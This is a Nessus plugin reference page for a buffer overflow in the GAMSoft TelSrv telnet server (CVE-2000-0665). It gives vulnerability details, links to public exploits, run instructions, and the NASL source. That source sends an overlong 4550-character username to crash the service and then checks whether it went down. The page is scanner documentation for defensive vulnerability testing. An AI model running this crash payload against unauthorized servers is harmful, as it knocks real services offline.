GAMSoft TelSrv 1.4/1.5 Username Overflow DoS - Nessus

High Plugin ID: 10474

This page contains detailed information about the GAMSoft TelSrv 1.4/1.5 Username Overflow DoS Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 10474
Name: GAMSoft TelSrv 1.4/1.5 Username Overflow DoS
Filename: TelSrv_DoS.nasl
Vulnerability Published: 2000-07-17
This Plugin Published: 2000-07-17
Last Modification Time: 2018-06-27
Plugin Version: 1.32
Plugin Type: remote
Plugin Family: Windows
Dependencies: telnetserver_detect_type_nd_version.nasl
Required KB Items [?]: Settings/ParanoidReport

Vulnerability Information

Severity: High
Vulnerability Published: 2000-07-17
Patch Published: N/A
CVE [?]: CVE-2000-0665
CPE [?]: N/A

Synopsis

The remote telnet server has a buffer overflow vulnerability.

Description

It is possible to crash the remote telnet server by sending a username that is 4550 characters or longer. A remote attacker could exploit this to crash the service, or potentially execute arbitrary code.

Solution

There is no known solution at this time.

Public Exploits

Target Network Port(s): 23
Target Asset(s): Services/telnet
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the GAMSoft TelSrv 1.4/1.5 Username Overflow DoS vulnerability:

Metasploit: exploit/windows/telnet/gamsoft_telsrv_username
[GAMSoft TelSrv 1.5 Username Buffer Overflow]
Exploit-DB: exploits/windows/remote/16816.rb
[EDB-16816: GAMSoft TelSrv 1.5 - 'Username' Remote Buffer Overflow (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:U/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	7.1 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.1 (High)

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Plugin Source

#
# This script was written by Prizm <[email protected]>
#
# See the Nessus Scripts License for details
#
# Changes by Tenable:
# - description changed somehow [RD]
# - handles the fact that the shareware may not be registered [RD]
# - revised plugin title (6/16/09)
# - changed family (6/28/09)

include("compat.inc");

if (description)
{
  script_id(10474);
  script_version("1.32");
  script_cvs_date("Date: 2018/06/27 18:42:27");

  script_cve_id("CVE-2000-0665");
  script_bugtraq_id(1478);

  script_name(english:"GAMSoft TelSrv 1.4/1.5 Username Overflow DoS");
  script_summary(english:"Crash GAMSoft TelSrv telnet server.");

  script_set_attribute(attribute:"synopsis", value:"The remote telnet server has a buffer overflow vulnerability.");
  script_set_attribute(attribute:"description", value:
"It is possible to crash the remote telnet server by sending a username
that is 4550 characters or longer. A remote attacker could exploit
this to crash the service, or potentially execute arbitrary code.");
  #https://web.archive.org/web/20000819132410/http://archives.neohapsis.com/archives/ntbugtraq/2000-q3/0031.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2999867b");
  script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'GAMSoft TelSrv 1.5 Username Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2000/07/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2000/07/17");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_copyright(english:"This script is Copyright (C) 2000-2018 Prizm <[email protected]");
  script_family(english:"Windows");

  script_dependencie("telnetserver_detect_type_nd_version.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("Services/telnet", 23);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("telnet_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_service(svc:"telnet", default: 23, exit_on_fail: 1);

soc = open_sock_tcp(port);
if (! soc) exit(1);

  r = telnet_negotiate(socket:soc);
  r2 = recv(socket:soc, length:4096);
  r = r + r2;
if(r)
{
  r = recv(socket:soc, length:8192);
  if("5 second delay" >< r)sleep(5);
  r = recv(socket:soc, length:8192);
  req = string(crap(4550), "\r\n");
  send(socket:soc, data:req);
  close(soc);
  sleep(1);

  soc2 = open_sock_tcp(port);
  if(!soc2)
  {
    if (service_is_dead(port: port, exit: 0) <= 0)
      exit(1, "Could not reconnect to port "+port+".");
    security_hole(port);
  }
  else {
        r = telnet_negotiate(socket:soc2);
	r2 = recv(socket:soc2, length:4096);
	r = r + r2;
        close(soc2);
        if(!r)security_hole(port);
      }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/TelSrv_DoS.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\TelSrv_DoS.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/TelSrv_DoS.nasl

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How to Run

Here is how to run the GAMSoft TelSrv 1.4/1.5 Username Overflow DoS as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Windows plugin family.
On the right side table select GAMSoft TelSrv 1.4/1.5 Username Overflow DoS plugin ID 10474.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl TelSrv_DoS.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a TelSrv_DoS.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - TelSrv_DoS.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state TelSrv_DoS.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

1478

See also:

Similar and related Nessus plugins:

10026 - BFTelnet Username Handling Remote Overflow DoS
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122033 - Apache OpenOffice < 4.1.6 Virtual Table Arithmetic Overflow
124062 - SolarWinds DameWare Mini Remote Client Agent < 12.0.3 Stack Buffer Overflow
145534 - Python Buffer Overflow (CVE-2021-3177)
15771 - Ipswitch IMail IMAP Service DELETE Command Remote Overflow
15822 - SecureCRT SSH-1 Protocol Version String Remote Overflow
17254 - RealPlayer Multiple Remote Overflows (2005-03-01)
18041 - CA BrightStor ARCserve Backup Universal Agent Remote Overflow (QO66526)
18551 - VERITAS Backup Exec Agent for Windows CONNECT_CLIENT_AUTH Remote Overflow
19193 - MailEnable IMAP STATUS Command Remote Overflow
19387 - CA BrightStor ARCserve Backup Agent for Windows Long String Overflow
19553 - DameWare Mini Remote Control Pre-Authentication Remote Overflow
19554 - DameWare Mini Remote Control Pre-Authentication Username Remote Overflow
19783 - MailEnable IMAP Server W3C Logging Overflow
20826 - Winamp < 5.13 Playlist Handling Multiple Overflows
21141 - Rhapsody SWF File Handling Buffer Overflow

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file TelSrv_DoS.nasl version 1.32. For more plugins, visit the Nessus Plugin Library.

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GAMSoft TelSrv 1.4/1.5 Username Overflow DoS - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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